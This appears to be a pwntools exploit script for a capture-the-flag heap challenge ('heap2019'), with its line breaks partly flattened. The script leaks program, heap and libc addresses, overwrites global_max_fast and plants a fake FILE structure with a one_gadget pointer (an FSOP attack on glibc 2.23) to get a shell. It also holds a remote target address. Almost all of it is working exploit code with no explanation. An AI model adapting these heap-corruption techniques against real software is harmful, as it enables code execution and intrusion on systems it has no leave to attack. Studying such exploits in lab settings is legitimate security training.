1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128
| from pwn import *
arch = 64 challenge = './heap2019'
context.os='linux'
if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
elf = ELF(challenge) libc = ELF('libc-2.23.so')
rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text)
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, b'x00')) uu64 = lambda data : u64(data.ljust(8, b'x00'))
local = 1 if local: p = process(challenge) else: p = remote('172.31.0.116','9999') def debug(): gdb.attach(p,"b *$rebase(0xACC)\n") pause()
def cmd(op): p.sendlineafter("4.exit",str(op)) def add(size,content): cmd(1) p.sendlineafter("Content length:",str(size)) p.sendafter("Content:",content)
def edit(content): cmd(2) p.sendafter("Comment:",content)
def dele(id): cmd(3) p.sendlineafter("Content id:",str(id))
def show(): cmd(2019)
add(0x400,"a"*0x20) show()
p.recvuntil("0x") leak_addr = eval("0x"+p.recv(12)) pro_base = leak_addr - 0x202040 success("leak_addr >> "+hex(leak_addr)) success("pro_base >> "+hex(pro_base))
add(0x400,"a"*0x20) add(0x400,"a"*0x20) add(0x400,"a"*0x20) add(0x400,"a"*0x20)
bss_start = pro_base + 0x202020 chunk_list = pro_base + 0x202040
success("chunk_list >> "+hex(chunk_list))
dele(1) dele(3)
add(0x400,"p"*8) p.recvuntil("pppppppp") leak_addr = u64(p.recv(6).ljust(8,"\x00")) heap_base = leak_addr - 0xc30 success("leak_addr >> "+hex(leak_addr)) success("libc_base >> "+hex(heap_base))
add(0x400,"k"*8) p.recvuntil("kkkkkkkk") leak_addr = u64(p.recv(6).ljust(8,"\x00")) libc_base = leak_addr - 0x3c4b78 success("leak_addr >> "+hex(leak_addr)) success("libc_base >> "+hex(libc_base))
global_max_fast = libc_base + 0x3c67f8 system_libc = libc_base + libc.sym["system"] IO_list_all = libc_base + libc.sym["_IO_list_all"] success("global_max_fast >> "+hex(global_max_fast)) success("system_libc >> "+hex(system_libc)) success("IO_list_all >> "+hex(IO_list_all))
one_gadgets = [0x45226,0x4527a,0xf03a4,0xf1247] one_gadget = one_gadgets[3] + libc_base
dele(2) dele(3)
fake_fsop_addr = heap_base + 0x1450 fake_vtable = fake_fsop_addr + 0xd8
fsop = "/bin/sh\x00" fsop += p64(0)*2 + p64(1) fsop = fsop.ljust(0xc8, b'\x00') fsop += p64(fake_vtable) fsop += p64(0)*2 + p64(one_gadget) add(0x1400, fsop)
edit("b"*0x20+p64(global_max_fast)) dele(2)
cmd(1) p.sendlineafter("Content length:",str(0x100))
p.interactive()
|